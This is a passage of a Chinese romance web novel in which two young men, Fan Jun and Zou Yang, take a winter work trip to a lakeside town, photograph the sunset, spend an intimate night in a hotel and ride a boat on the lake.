“哎!”李老板似乎也没并没有因为自己侄子被撂倒而着急,笑得挺愉快,“你学这点儿皮毛跟专业的一比还是差得多,人家一条胳膊就能收拾你。” 阿志脸上有点儿挂不住,一个死鱼打挺蹦了起来,拍了拍拳套:“再来。” “不了,把你那个条件反射克服了再说吧,”樊均摘下了手靶挂回了墙上,“李老板有空的时候我们再过来。” “嗯?”李老板愣了愣。 樊均穿上外套,冲邹飏一偏头:“走。” 邹飏跟着他一块儿走出了屋子,没有停留地穿过小院,走了出去。 “我操,”出门之后邹飏骂了一句,“有病吧这俩!” “没事儿,也不是我挨揍,”樊均说,“大不了不要他的货了。” “这也就是你在上班,”邹飏咬着牙,“这要换个场景我……” “这要在馆里第二次我就已经给他打废了。”樊均说。 邹飏顿了顿,笑了起来。 上车之后他犹豫了一下:“怎么跟何川交待?” “不用管,他肯定会找何川,”樊均发动了车子,“他明知道李老板就是这种人,还让我一个人来,那结果他就自己担着吧。” “很嚣张啊。”邹飏偏过头看着他。 “本来就气儿不顺,”樊均拧着眉,“这种时候惹我。” “本来想揍我呢是吧。”邹飏问。 “嗯。”樊均转头看了看他。 “揍呗。”邹飏说。 “美死你,”樊均把车开出停车位,“变态玩意儿。” 邹飏笑了起来:“你大爷。” “去哪儿?”樊均说,“找个地儿转转,估计一会儿何川会给我打电话重新安排。” “去湖边,”邹飏马上说,“我看那个景点介绍上写着他们有湖边餐厅,还有花园什么的,看图片挺有情调。” “走。”樊均打了一把方向,往湖边开过去。 邹飏看着窗外,过了一会儿说了一句:“其实你左手,也没太大影响,不是么?” 樊均看着前方,没有说话。 第76章 的确,就像邹飏说的,左手现在的情况并不会严重正常生活,只要不深接触,没有人会发现他有什么不同。 精细的动作做不了,但可以抓握,不是很重的东西拿一下问题不大,实在要揍人也可以揍,胳膊能抬到一定角度,只是用力的时间长了会抽筋或者疼痛…… 但这所有的看似“还可以”,都基于他之前就比普通人更强的身体能力。 如果他之前的身体状态就只是一个“普通人”,那他现在这个状况,就不可能是个看起来还算“正常”的人。 如果只是这样的变化和落差,他也不是不能接受,有记忆那天起,他跟身边“普通人”就不一样,他可以沉默地,孤独地生活在人群里。 算起来,他能从樊刚手下两次逃过,能活着就已经很幸运。 但也正是因为这样,他明明看似已经走进了新的生活,低头却发现自己还被不知道什么时候才能结束的伤痛束缚着。 他想要跟邹飏一起往前走,大步的,没有顾忌地跟上他的脚步。 跟上这个执着地一次次看透他,一次次把他沉闷的生活撕开豁口的人。 可现在每一步都带着踉跄。 邹飏眼神里的心疼会灼痛他,邹飏发火的时候他反而会有那么一丝下来的享受。 ……变态。 “喂!”邹飏在旁边喊了一嗓子,“红灯!” 樊均赶紧一脚踩了刹车,压着线停下了,前面没车,他完全没注意上方的灯。 “这儿还有灯?” “好歹也是个镇子,”邹飏拿过手机看着导航地图,“红绿灯有一堆呢。” “我拿本儿以后还没被扣过分交过罚款呢。”樊均说。 “怎么,”邹飏看了着他,“还挺想体验一下呗。” 樊均笑了笑:“没。” “想什么呢?刚走神儿了吧。”邹飏问。 “没。”樊均看了他一眼。 “爱说不说,”邹飏说,“看着点儿灯,别一会儿绿了不走又被人别车。” “嗯。”樊均看着对面的灯。 大冷天儿的来湖边的人还不少,不为了玩水,主要都是过年没地儿去,带着孩子过来住几天,算是度个假。 湖边不少民宿和饭店,顺着路开过去,面对湖这边儿都是落地大玻璃,这会儿太阳有点儿斜了,湖面大片耀眼的金色。 “路边停一下,”邹飏拿出了手机,“真漂亮啊。” “好。”樊均在路边停了车。 风挺大的,除了湖边码头上有几个疯跑的小孩儿和他们几乎要疯了的家长,路上基本没有游客。 “你站过去。”邹飏举起手机指了一下前方。 “站哪儿?”樊均一边往他指的方向走一边问。 “走到过不去为止,最边儿上。”邹飏背靠着车。 樊均看了一眼前面,是一个土坡,挺高的,往下一直能走到湖边,不过肯定会打滑,远一些的地方有往下去的楼梯。 “你确定?”樊均问。 “别废话。”邹飏说。 “行。”樊均转身往前,然后开始顺着往坡下走。 “哎?”邹飏喊了一声,镜头里还剩了上半身的樊均停下了。 “这儿吗?”樊均问。 “我靠,那儿是个坡吗?”邹飏笑了起来。 “不然呢,”樊均笑着说,“湖明显在下边儿啊。” “那你不告诉我。”邹飏说。 “你让我一直走到过不去为止,现在过得去呢。”樊均说。 “你这么听话的吗?”邹飏看着镜头里的樊均,虽然角度诡异,也没什么美感可言,但他还是连着按了好几下快门。 “是啊,”樊均看着他,“你让我……我不就……” 邹飏愣了愣,放下手机:“什么?” 樊均没说话,晃了晃左手。 “你大爷!”邹飏猛地反应过来,赶紧看了看两边,没有人,他指着樊均,“上来!” 樊均笑着几步爬回了路边儿。 邹飏冲过去一把搂住了他。 “哎,”樊均赶紧也抱住他,“怎么了?” “不知道,”邹飏贴紧他,用自己耳朵在他耳朵上蹭了蹭,“就是……想抱一下。” “嗯。”樊均应了一声,收紧胳膊。 邹飏闭了闭眼睛,挺明显能感觉到,樊均左胳膊的力量远不如右胳膊。 这种细节他偶尔感受到,心里都挺不是滋味儿,这却是樊均时刻都能体会到的落差,还是不确定能不能完恢复,就算恢复也不知道要多久的那种…… “还拍吗?”樊均在他耳边问,“光搂着的话,去车里搂吧,太冷了。” 邹飏笑了起来,松开了胳膊:“拍。” 他走到土坡边看了看,用脚指了指:“站这儿。” 樊均站了过去。 邹飏退回了车边,先是给他拍了几张,接着就开始忙活,想要把手机固定在车上,拍张合影。 “这儿一会儿肯定能拍到日落。”邹飏说,“你就站那儿,我找角落。” “嗯。”樊均站在原地。 看着邹飏一会儿爬上车后斗,一会儿拉开车门半趴在车顶,手机要不就是角度不好,要不就是没有支撑。 “明天镇上转转买个三角架再来拍也行。”樊均看着邹飏被吹红了的鼻尖和耳朵尖。 “不,”邹飏不肯放弃,“明天不是现在,明天是明天了。” 樊均看着他没有说话。 太阳落得很快,没多大一会儿就已经悬在了湖对面的山尖上。 邹飏终于用一块石头和车上的十字扳手在车顶上把手机架到了合适的角度。 “快快快,”他跑了过来,“现在夕阳正好我们身后!” 樊均搂住他的肩,邹飏往他这边偏过头:“笑!” 樊均笑了笑。 “再来一张,”邹飏举起手,“笑。” 樊均举手的时候发现邹飏还是习惯性站在他右边,举着右手,他的左手举不到跟邹飏一样的高度。 犹豫了一下,他把邹飏拽到了自己左边,举起了右胳膊。 邹飏迅速举起了左手:“笑。” 樊均对着镜头笑了笑。 邹飏手机设的是笑脸抓拍,总之就是得笑,为了多拍几张,他俩冲着镜头一通呲牙咧嘴地笑,也不知道什么效果…… 太阳已经落到了山后头,湖面上的金红色慢慢消失,但转头看向湖边这一圈儿时,连片的暖黄灯光里闪着各种颜色的小彩灯,是另一种美。 “顺着路随便找个地儿吃饭吧,”邹飏跳上车,“冻死我了。” “嗯。”樊均上了车,搓了搓手,他手都冻麻了。 不过眼下这样的感觉,是他从未体验过的,陌生的风景,熟悉的人,新鲜里带着一丁点儿无聊,很淡的,很静的,清晰的幸福感觉。 湖边能吃饭的地方很多,现在这个季节,也不用跟人挤,随便一个店进去就能吃。 他俩随便挑了个炖鱼。 “是湖里的鱼吗?”邹飏问。 “那肯定不是,”老板很诚实,“是水库里的,不过跟这个湖是连着的。” “行。”邹飏笑着点点头,低头打开手机。 “我看看。”樊均凑过去。 邹飏把手机放到桌上,一张张翻着照片,每一张都笑得很……好笑。 不过邹飏不愧是平时爱拍照的,景挑得很好,人的角度也合适,一溜看下来,总有那么几张是不错的。 “明天买个架子,连车一块儿拍下来更有感觉。”邹飏说。 “就何川那个要散架了的皮卡?”樊均很怀疑。 “那更有在路上浪迹天涯的感觉,”邹飏说,“一人,一……人,一破车。” “你是不是想说一人一狗,一人一猫。”樊均看着他。 邹飏靠着椅子笑了起来:“不是。” “那你说两人一破车不就行了。”樊均说。 “我以前,”邹飏笑了一会儿停下来,看着窗外的湖,“总爱瞎想,想过很多我去流浪的场景,总是一个人,特别孤单,就那种感觉你懂吗……夫天地者,万物之逆旅也……” “最后一句出来之前是懂的。”樊均看着他。 “什么?”邹飏转头看着他。 “那个夫什么天地什么逆旅蹦出来之前。”樊均说。 “靠,”邹飏笑了起来,伸手在他脸上捏了一下,“均儿。” “嗯?”樊均应了一声。 “你真可爱。”邹飏说。 “全世界就你这么说。”樊均笑了笑。 “现在全世界我最喜欢你。”邹飏说。 樊均看着他,半天都没说话。 吃饭的人少,他们点的鱼很快就端过来了,一大锅热气腾腾的,老板站在旁边:“喝点儿酒吗?” “不了,要开车。”樊均说。 “我可以喝。”邹飏小声说。 “你不喝,跑了一天喝酒容易头疼。”樊均说。 “行吧。”邹飏也没坚持。 鱼很新鲜,稍微有点儿土腥味儿,但因为汤底不错,可以忽略。 主要是饿了,感觉距离那碗面也没多长时间……反正是天擦黑了人就开始饿,跟条件反射似的。 吃到一半的时候,何川的电话打了过来。 樊均接了电话。 “可以啊,”何川说,“给老李撅得不轻。” “他没事儿找事儿。”樊均说。 “是他那个侄子吧,”何川笑着啧了一声,“那个就是个愣货,去年毕业找不着工作,就跟着老李了,想表现一下自己,不用管。” “怎么不用管,他想打我。”樊均说。 “他是想打你,你是真打他了,”何川说着又笑了起来,“可惜了我没看着。” “那正好,你过来吧,我打给你看,”樊均说,“反正李老板估计不会让我看货了。” “不至于,”何川说,“他那人就那样,就好摆个谱,装个老大,我没过去,他肯定得折腾一下。” “那怎么办,我还等吗?”樊均问。 “他晚点儿会联系你的,”何川说,“去看就行,咱们要得多,他花销大,收了货来不愿意压着,反正咱们跟他的关系就是,他知道我不会不买,我知道他不会不卖。” “要过去也得明天了,”樊均叹了口气,“大晚上的过去太冷了。” “行,你也架着点儿没问题,”何川说着顿了顿,“另外我再问问,您这次还带哪位股东去了?” 樊均看了邹飏一眼。 邹飏立马凑过来,把耳朵贴在了手机旁边。 “邹飏。”樊均说。 “他是我股东?”何川问。 “是我股东。”樊均说。 “……行,”何川说,“邹股东正好放寒假呢,跟着玩玩吧没事儿,老李那儿有好茶。” “他不会泡,都泡过了。”樊均很不屑。 “……靠。”何川说。 挂了电话,邹飏靠椅子上笑了半天。 “笑什么。”樊均说。 “不知道。”邹飏还是乐。 “小孩儿,”樊均看了看锅里的鱼,“赶紧吃,一会儿炖化了。” “嗯。”邹飏夹了块鱼。 李老板并没有马上打电话过来,还是抻了一会儿的,他俩吃完饭都坐车上了,樊均的手机才响。 “这么晚,是不是打早了怕我们还没吃饭。”邹飏啧了一声。 樊均接了电话,不知道对面说了什么,他的回答很简单:“明天吧李老板,我这会儿在湖边吃饭,吃完过去太晚了,打扰您休息……嗯,好的。” “怎么样?”邹飏问。 “让过去,我说明天,他答应了。”樊均打了个呵欠。 “困了啊?”邹飏看着他。 “不困,你要游夜湖吗?”樊均看了一眼车窗外。 “不了,”邹飏裹紧了衣服,把车里的暖气开大,“疯了啊。” 九点刚过,镇子上就已经挺安静了,大冷天儿的也没人跳舞了,整条街都很静,连街边的饭店差不多都已经关门了。 邹飏突然感觉坐在车上的他和樊均,就像是这个世界上最后的两个人。 他们穿过荒原和湖泊,在这个孤单的世界里流浪,来到一个无人的小镇。 ……然后居然找到一个还通着暖气的旅店。 屋里暖气很足,暖气片儿加空调,邹飏感觉外套脱慢点儿都能被热死。 往床上一摊,他长长舒出一口气,这一天说起来也没……干什么,但这会儿躺床上才发现挺累的。 樊均进浴室洗漱完了出来的时候,他躺那儿差点儿睡着了。 “要睡好好睡。”樊均拍了他一下。 邹飏睁开眼睛,看到樊均还挂着水珠的脸时,睡意全无,但似乎也不是完全清醒。 “我……还没洗漱。”他起身进了浴室。 明明白天刚干完些不那么正经的事儿,这会儿两人待在屋里时,他却又有点儿不好意思了。 不知道是不是夜深人静这场景就自带心虚。 他洗漱完走出浴室时,樊均正站在电视机前,拿着遥控器调台。 “有东西看吗?”他问了一句,继续往床上一摊。 “正找呢,这台乱七八……”樊均回头看了他一眼,“糟的。” “嗯。”邹飏看着天花板。 樊均没了声音。 邹飏只能听到电视机里的本地新闻,他感觉自己有一百年没看过电视了,得有二百年没听到过本地新闻的调调了。 樊均走到了床边。 “嗯?”邹飏看着他。 樊均没说话,一条腿跪在了床边,低头看着他。 邹飏也没再出声,只觉得呼吸多少开始有点儿不稳。 樊均看了他一会儿才慢慢躺在了他身边。 邹飏想转头看他一眼的时候,樊均翻了个身,半个人压到了他身上,手跟着就摘掉了他的眼镜。 “我以为你困了呢。”邹飏偏过头。 樊均还是没说话,在他转头的同时吻在了他嘴上,手掀开他衣服,摸到了他腰上。 天花板上的灯很亮,光晕直射眼睛时有些眩晕,邹飏闭上了眼睛。 樊均的手顺着腰向后,掌心的温度像一小团火,从腰侧烧到背后,沿着脊椎向上,一直烧到颈后。 点燃了樊均移向他颈侧的吻。 喘息就在耳边,贴得很近,不断地扑在邹飏最敏感的某条神经上。 他抬手搂住樊均,很用力,是有点儿变态的,仿佛这样,用力地感受,才能抱实某种感受。 “要试一下右手吗?”樊均在他耳边低声问。 略微有些沙哑的声音像是带着钝刺的小球,从耳际滚向身体深处。 没等他反应过来,樊均的手已经滑进裤腰:“或者……别的。” 瞬间传来的强烈触感像在某处突然炸开,跳动着,颤抖着,传向整个身体,带着细小的嗡鸣。 邹飏微微仰头,隐约听到了自己很低的一声叹息。 樊均下一秒就咬在了他咽喉上,齿尖划过脖子,再到锁骨,越过被掀起的衣服,吻落在了胸口,柔软和尖锐交替着向下…… 皮肤之下,肌肉之间,樊均滚烫的呼吸扫过小腹,所到之处翻起一阵阵战栗…… 第77章 外面的路上有车开过,车灯的光从窗口照进来,在天花板上晃过。 安静的夜里车轮碾过路面的声音都很清晰,这屋子隔音有点儿……邹飏转头看了一眼樊均。 两人的呼吸都还没有完全平静,他能看到樊均左胸的伤痕在起伏。 他抬手在伤疤上点了一下。 “哎。”樊均抓住他的手,按回身侧,“明天有正事儿。” “……我就戳一下,”邹飏说,“我也不是什么机关枪吧能这么连着开。” “你……”樊均转头看了他一眼,笑着坐了起来,“神经病……我去洗一下。” “我先。”邹飏说。 “嗯。”樊均在床边没动。 邹飏也没动。 “要我抱你过去吗?”樊均问。 “滚蛋。”邹飏笑了笑,“我就是说完了不想动而已。” “我现在还真抱不了,只能单手扛,”樊均起身往浴室走,“就跟扛个羊那样……” 邹飏看着他的背影,很漂亮的背,很漂亮的腰,很漂亮的……屁股。 “你不围上点儿吗?”邹飏压着声音问。 樊均停下了,转身又走了回来。 “你干嘛?”邹飏看着他。 樊均从床上扯了他的T恤往腰上一围,又转身往浴室走过去。 “你大爷的樊均你才是神经病吧!”邹飏忍不住笑了。 本来还有点儿懒得动,这么一笑,也不懒了,他也得……洗洗。 不过刚坐起来就听到浴室里传来了樊均的干咳声。 “怎么了?”他跳下床几步跑进了浴室。 樊均撑着水池边,冲他摆了摆手:“没事儿。” “没事儿你咳什么?”邹飏掰过他下巴看了看他的脸,倒的确不像是有什么不舒服的…… “就漱口的时候有点儿条件反射。”樊均说。 “为什……”邹飏说一半停下了。 樊均看着他。 “好了我知道了别说了,”邹飏把他脸推过去对着水池,“接着吐。” “没吐,是咳。”樊均说。 邹飏啧了一声,虽然很不好意思但还是没忍住又问了一句:“你是不是抠嗓子眼儿了。” “哎,”樊均笑着又转回过头看着他,“没有,就是有点儿不适应。” “我这一脸我都没……”邹飏说一半想起来,赶紧转身过去把枕头旁边的纸给扔到了垃圾筒里,再回到浴室。 “你洗吧。”樊均让到了一边儿。 邹飏没动,又啧了一声。 “……那你留着。”樊均关上了水龙头。 “滚蛋。”邹飏过去挤开了他,打开水龙头洗了洗脸。 直起身的时候,樊均从身后搂住他,低头在他肩膀上亲了一口。 “怎么了?”邹飏看着镜子里的他俩,有点儿……情情色色的,于是又赶紧往下扫了一眼,嗯,水池挡住了,还好。 “没怎么,就想抱会儿。”樊均说。 “嗯。”邹飏应了一声,没说话,往后靠了靠。 两个人就这么杵在镜子跟前儿老半天。 “睡吗?”樊均嘴贴在他肩膀上问了一句。 “起码躺着吧,”邹飏说,“我站都站累了。” 樊均笑了笑,抱着他转了个身,往前推着他走出了浴室。 “换张床睡。”邹飏说。 “嗯,”樊均松开他,过去把被子掀开了,又拿过他的包翻了翻,“这套是睡衣吗?” “是。”邹飏打了个呵欠,接过衣服穿上了。 他其实不想穿,直接贴一块儿很舒服,但毕竟这只是个镇上的旅店…… 他叹了口气,往床上一躺。 樊均虽然包里塞了一堆零食,但会在家里穿小熊睡衣的人出门自然也会带上睡衣,这次带出来的倒不是可爱风格了,是一套看上去很度假风的大花睡衣。 “你穿这身儿去湖边晒太阳吧,”邹飏说,“戴个墨镜。” 樊均笑了笑,往他身边一躺,拉过被子盖上:“你晚上睡觉老实点儿啊。” “我不老实吗?”邹飏问。 “你在我那儿睡沙发的时候,”樊均搂住他,捏着他手腕,在伤痕上来回摸着,“腿从来都不在沙发上。” “那是沙发太窄了。”邹飏说。 “这床睡俩人也不宽。”樊均说。 “我未必能睡着。”邹飏瞪眼儿瞅着天花板的灯。 “忘关灯了。”樊均起身在床头跟弹琴似的按了一轮,把屋里的灯都关掉了。 这旅店的窗帘看上去很久没洗了,他俩都不愿意碰,所以只关了纱帘,这会儿就算关了灯,外面的路灯和月亮透过帘子,还是一屋子清淡的明亮。 “要关帘子吗?”邹飏问。 “你想关吗?”樊均问。 邹飏犹豫了一下:“不关了吧。” “嗯。”樊均把脸埋到了他颈窝里,“你要是不习惯两个人挤着睡,就……” “不。”邹飏拽着他胳膊往自己身上拉了拉。 樊均抱紧他。 “松点儿。”邹飏说。 樊均松开了一些。 “往下点儿。”邹飏又说。 樊均把胳膊移到他腰那儿搂着,在他颈窝里闷着声音:“你这是还没指挥够呢?” “……我什么时候指挥你了。”邹飏笑了。 “继续,看着我……”樊均低声说。 “我操,”邹飏顿时觉得一阵臊得慌,“闭嘴闭嘴闭嘴!” 樊均笑了起来,鼻尖往他耳朵上蹭了蹭:“你说的时候我也没让你闭嘴。” “那是你没把握机会,”邹飏说,“闭嘴。” “嗯。”樊均重新把脸埋好。 邹飏闭上眼睛。 很困,但暂时睡不着,脑子里全是不健康的玩意儿。 刚才明明觉得自己晕头转向的跟喝醉了似的,这会儿眼睛一闭,脑子里全是细节,连音轨都是全的。 人的这个脑子。 真是神奇啊…… “邹飏。”樊均在他颈窝里叫了他一声。 细小的震动带着痒。 “嗯?”邹飏应着。 “你还生气吗?”樊均问。 “现在不气,”邹飏闭着眼睛,手指在他胳膊上轻轻划着圈,“之后气不气不好说,我这人气性大。” “我……”樊均有点儿犹豫,声音很低,“挺喜欢你生气的。” “你变态吧。”邹飏说。 “不是那个意思,你能懂吗?”樊均笑了笑,“就是……你生气……我说不清,但是你得对着我生气。” “樊均,”邹飏啧了一声,“我一直觉得你是个正经人。” “我挺正经的。”樊均说。 “后来我想了想,你们二十一中,能出什么正经人,”邹飏说,“你还初高中都在那儿念的。” 樊均笑着捏了捏他的腰:“你这算不算歧视。” “算,”邹飏叹了口气,“你也挺厉害,在二十一中待了六年,虽然有不正经的隐藏属性,但大面儿上还是个很好很好的人。” “这话说的,”樊均说,“那你还是全世界最……” “是。”邹飏说。 樊均搂紧他。 “我也希望你是全世界最需要我的那个人。”邹飏说。 樊均沉默着,过了一会儿才低声说:“邹飏,我肯定不是全世界唯一需要你的人,但我肯定是全世界最需要你的那个人。” 邹飏没说话,只是偏过头在他眼角亲了亲。 扔在床头柜上充电的手机响了一声。 “谁的。”邹飏闭着眼睛问。 “服务员的呗。”樊均说。 手机又响了几声。 “哎,”邹飏有些无奈,伸手摸过手机,“这个点儿……看看吧。” 【瑞思拜】不是我要打扰你俩蜜月啊 【瑞思拜】但这个得问问 【瑞思拜】是你俩吗? 下面是转发的一个小某书笔记- 希望落云湖边拍照的小哥哥能刷到我这条 “什么东西?”邹飏愣了愣,点开了链接。 “这不是今天我们拍照的地方么?”樊均说。 一张照片,拍的是湖,跟他们角度相同,但拍摄的地方离湖比他们要远得多,拍到了公路- 今天在这里拍落日的小哥哥,我拍落日的时候拍到你俩了,想把照片给你们 “我靠。”邹飏转头看了一眼樊均。 贴得太近没看到,还对眼儿了。 “这刘文瑞发给你的吗?”樊均鼻尖贴在他脸上,用一只眼睛看着屏幕。 “嗯,”邹飏直接给刘文瑞发了条语音,“你怎么看到的?” 刘文瑞的语音很快回了过来:“急了吧都不打字了!我就昨天搜了一下你们要去的这个地方,看有个湖,今天就给我推送了一天这个湖的攻略,然后就看到这个了。” “我靠,这都行。”邹飏很震惊。 【瑞思拜】我开小号帮你去要照片 【邹yang】要照片干嘛 【瑞思拜】万一比你拍得好呢 【瑞思拜】我看了一下,这妹子的照片都是单反拍的,人家专业的 邹飏又转头看了看樊均。 “要。”樊均说。 “行,我们均儿说要,那就要。”邹飏摸摸他的脸。 【邹yang】行 “看看别人世界里的我们是什么样的。”樊均说。 邹飏笑了笑:“突然这么浪漫。” 樊均搂了搂他,没说话。 【瑞思拜】给我两张能证明是你们的照片 邹飏翻了翻手机,找了一张他俩背影的照片,发给了刘文瑞。 【瑞思拜】操 【瑞思拜】这么浪漫 【邹yang】办正事别啰嗦 【瑞思拜】你俩别等了,估计得明天 邹飏把手机放回床头柜,打了个呵欠:“神奇了,还能碰上这种事儿,我们平时没少去周边玩,从来没人捞。” “是么。”樊均闭上眼睛。 “可能是因为龙龙在。”邹飏也闭上眼睛。 “别欺负张传龙,”樊均笑着说,“你们四个一块儿有什么可拍的,一眼过去就是四个大傻小子。” “真的吗?”邹飏啧了一声,“那我第一次去馆里的时候,也是四个大傻小子吗?” “俩。”樊均说。 “还谁不是,李知越吗?”邹飏问。 “嗯,”樊均点点头,“不过我就看清你了,你跟珊姐太像了……很好看……” “我好长时间都没看清你。”邹飏说。 樊均笑了起来。 这种感觉很奇妙,邹飏轻轻摸着樊均的胳膊,以前刘文瑞在他家过夜的时候,也会躺床上聊天玩游戏,但从没有过这种安静踏实的感觉…… 只觉得困得厉害但还要闭嘴……当然,作为唯一参照的刘文瑞在这种事儿上实在没有什么参照意义…… 因为心里踏实,就睡得很踏实。 甚至没有第一次跟人挤一个被子里睡觉的不适感。 邹飏这一夜连梦都没做,早上是被樊均拍醒的。 “啊……”他翻了个身,没睁眼睛。 “想吃什么,”樊均问,“我去买,楼下就有。” “他们昨天不是给了两张早餐票吗?”邹飏闭着眼睛。 “十点多了,早餐没了。”樊均说。 “十点多?”邹飏终于睁开了眼睛,看着站在床边的樊均,半天都没聚上焦,这睡得可真尽兴。 “是的,”樊均伸手,“赶紧的,起床,我出差呢,还有正事儿要办。” 邹飏抓住他的手,坐了起来:“我靠,你也睡到十点?你不是每天都六七点的吗?” “特殊情况。”樊均把他的衣服扔到床上。 “什么特……”邹飏说到一半闭了嘴,拿过衣服飞快地穿上。 十点多的小镇已经完全复苏,阳光不错,有些凌乱的街道透着一股子人间味儿。 他俩随便买了个手抓饼和豆浆,坐车上吃完就直接去了李老板那儿。 李老板的这个院子上午阳光更好些,邹飏拿出手机,跟在樊均身后拍了几张照。 阳光很好,有些许落寞的林子,带着古意的白色院墙。 和一个酷哥。 樊均穿的短款羽绒服和工装裤,下面是双短靴,看上去利索中透着性感。 是的,就是性感。 邹飏快走两步,在他进院门前往他屁股上拍了一巴掌。 “邹先生,这不是股东该有的行为,”樊均迅速转过头,又压低声音,“这一圈儿都是监控。” “我操,”邹飏愣了,“真的吗?” “嗯,”樊均拉了拉门上的铃,“后面就有一个。” 邹飏回头,果然看到院墙明晃晃地杵着个摄像头:“他大爷啊……他会看吗。” “知道是我们来了,应该不会看,”樊均说,“敢做不敢当啊邹飏。” “……我毕竟还是个学生。”邹飏说。 今天出来迎他们的还是阿志,依旧是把他们带进屋,李老板也还是坐在茶桌边。 跟重播似的。 不过今天李老板的态度稍微好一些了:“先看看东西,中午一块儿吃个饭?” “中午就不打扰了,”樊均说,“下回何老板过来陪您好好喝一顿。” “你们是还有安排吗?”李老板起身,带着他俩往里走。 “嗯,”樊均顿了顿,“要去……游湖。” “游湖?”李老板很震惊地转头确定了一下。 邹飏也很震惊,这大冷天儿的,樊均为了找借口不吃饭简直口不择言。 “是,冬天的湖……跟平时的不一样。”樊均说。 “那倒是,”李老板想了想,突然手一指樊均,“一会儿我打个电话,你们坐我的船去游湖。” “什么?”邹飏看着他,又看了看樊均。 “就……不用了吧,太麻烦了。”樊均说。 “不麻烦,”李老板一摆手,“一句话的事儿,我那船刚检修完,让船长带你们出去转一圈儿,要不你这个时间去湖上,你都找不着人开船……阿志!” “嗯。”阿志应了一声,拿着手机转身就出去打电话了 “谢谢李老板了。”樊均说。 谢什么啊,就这么去游湖了? 邹飏在他背上戳了一下,樊均转过头。 冻死你啊。 邹飏用口型说。 “冻死我们俩。”樊均在他耳边低声说。 李老板有专门的两个屋子当仓库,除了石头物件儿放在后院,别的都在仓库里,新到的货都在门口。 樊均跟李老板看货的时候,邹飏就站在后院,带着泥和青苔痕迹的各种石雕石刻在地上堆放着,有些一看就堆了好几年,跟地面都快融为一体了。 他抬头看了看天,阳光很耀眼,云在缓缓移动着。 这一瞬间仿佛站在了岁月里。 他发现这份工作其实也还挺好的,不算太忙,时不时往外跑跑…… 院子里堆着这些东西还挺有意思,邹飏弯着个腰挨个看着。 他本来想跟着到仓库里,但想想又还是没跟去。 这是樊均的工作,他跟着来玩本来就已经是先斩后奏,多亏了何老板不计较,这会儿就不跟那么紧了,反正院子里也能看到樊均。 因为何川一开始就有目标,樊均看货很快,把何川要的看完了,又从李老板推荐的东西里挑了一些,就差不多了。 接着就是阿志带了个大姐进仓库开始打包。 樊均走了出来,看着他问了一句:“有看上的吗?” “嗯?”邹飏愣了愣。 “我看你猫个腰在这儿看半天了。”樊均笑着说。 “都挺好玩的,”邹飏说,“以后买个院子弄点儿来放着。” “别墅吗?”樊均问。 “……那买不起。”邹飏啧了一声,如果是在市里的话,还真就只有别墅了。 樊均没说话,胳膊伸过来搂了搂他的肩膀。 东西都打包好,就等他们游完湖走的时候过来拉走了。 站在湖边看着李老板的船和缩着脖子在码头上等他们的船长时,邹飏感觉自己牙都快打架了。 “老板挺有兴致啊。”船长冲他们招了招手,“赶紧上船吧,这儿风大。” 他俩上了船,李老板这条游船不大,不过很新,看着差不多能坐二三十个人。 “一会儿带你们沿湖上兜一圈儿,再去湖心岛上转转,”船长说,“你们看到有什么地方想拍照的就告诉我。” “有风小点儿的地方吗?”邹飏问。 “想什么呢老板,”船长笑了起来,“家里风小。” “靠。”邹飏也笑了。 船开起来之后他俩站在船舱里还是不太冷的,只是隔着玻璃看得也不过瘾。 “去船头。”樊均突然说。 “啊?”邹飏愣了。 “来都来了,”樊均转身往船头走,“快。” 邹飏跟着他往船头走。 “我没坐过船呢。”樊均说。 “那必须去船头。”邹飏拍了拍他后背。 顶着加了速的老北风,他俩在船长看稀罕物的目光中站到了船头。 “看!”樊均扶着船头的栏杆。 “看什么?”邹飏眯缝着眼睛,虽然船长已经减了速,他还戴着眼镜,风还是吹得他眼睛小了一圈儿。 “……不知道,我没想好要说什么,”樊均说,“你来。” “看!”邹飏说,“我们两个人的湖!” 第78章 湖面上的风比想象中的要大得多,邹飏喊完之后就不太张得开嘴了。 不过看樊均的状态似乎还行,甚至还站在船头把胳膊张开吹了会儿风,让邹飏有一瞬间怀疑他俩在不在同一个空间里。 “我给你……拍,个照。”他哆嗦着从兜里掏出手机,往后退了几步。 樊均背对着他,看着前方,镜头里看不出风有多大,阳光往船头和湖面一铺,有一种融入山水的感觉,甚至能看出几分暖意来。 邹飏哆里哆嗦地随便拍了几张:“转过来。” 樊均没理他。 “樊均!转过来!”邹飏提高声音。 樊均还是没理他。 行吧,本来船的动静就大,他还在樊均下风,他只能全身僵硬地又走到樊均身后,拍了拍他。 “嗯?”樊均迅速转过了身。 看到他的时候愣了愣,然后就一把搂住了他,手兜着他后脑勺把他脸按到了自己肩膀上。 “干嘛?樊总。”邹飏愣了,后头就是驾驶室,船长站那儿看着呢。 “回舱里吧。”樊均一边说一边就推着他往回走。 “我给你拍照片呢,”邹飏说,“我是让你转过来!” “你脸都紫了,”樊均说,“不拍了。” “过去站好,”邹飏推了推他,“回舱里坐着不是白挨冻了么!” 樊均只得松开他,退回了船头。 “靠着那个杆儿。”邹飏说。 樊均面对着他,他说话就能轻松很多。 “侧一下,”他指……挥着,“看右边,好,再抬头……” 樊均配合得很好,毕竟是个平时随便穿身衣服还讲究个搭配的人,邹飏很快就按出了十几张。 “过来。”邹飏转身举起相机,在樊均往他这边走过来的时候按下了连拍,最后一张定格在樊均把脸凑到他脸旁边。 “好了。”邹飏把手机往兜里一塞,跑进了舱里,冻得他都快没知觉了。 回头的时候发现樊均正弯腰捡起船板上的手机。 “哎?”他摸了摸自己的兜,手机果然没在里头。 “你从小到大,没少丢东西吧。”樊均把手机递给他。 “太冷了,脑袋都冻疼了,”邹飏往椅子上一靠,点开手机看着,“你不冷吗?” “还行,”樊均说,“我……不是太怕冷。” “你……”邹飏看了他一眼,想问为什么,但樊均的语气里能听得出来他并不是天生不怕冷,他没再问下去。 不过他大概是真的天生怕冷,本来想着按老板说的,转一圈儿再去湖心岛上看看,最后还是决定待在舱里不出去了。 隔着玻璃绕了半圈儿湖,他们回到了码头。 这湖很大,绕半圈儿也花了不少时间,早上吃的那点儿东西已经消耗殆尽,他俩就近在码头附近随便吃了两份盖饭。 红烧肉盖饭,非常好吃,一粒米都剩不下的那种好吃。 出来的时候邹飏才发现店门口挂着一堆奖牌。 樊均拿出手机拍了张店面的照片:“旅途中的惊喜之二。” “之一是什么?”邹飏问。 “人家拍的那个照片。”樊均笑笑。 旅途中的惊喜之一,他俩开着车往回走的路上,都过了四点了,刘文瑞才总算把照片发了过来。 【瑞思拜】你俩务必哭着谢我 【瑞思拜】帮你俩要来了人生照片 【邹yang】哭.jpg 一共三张。 摄影师妹子还已经帮着修过了。 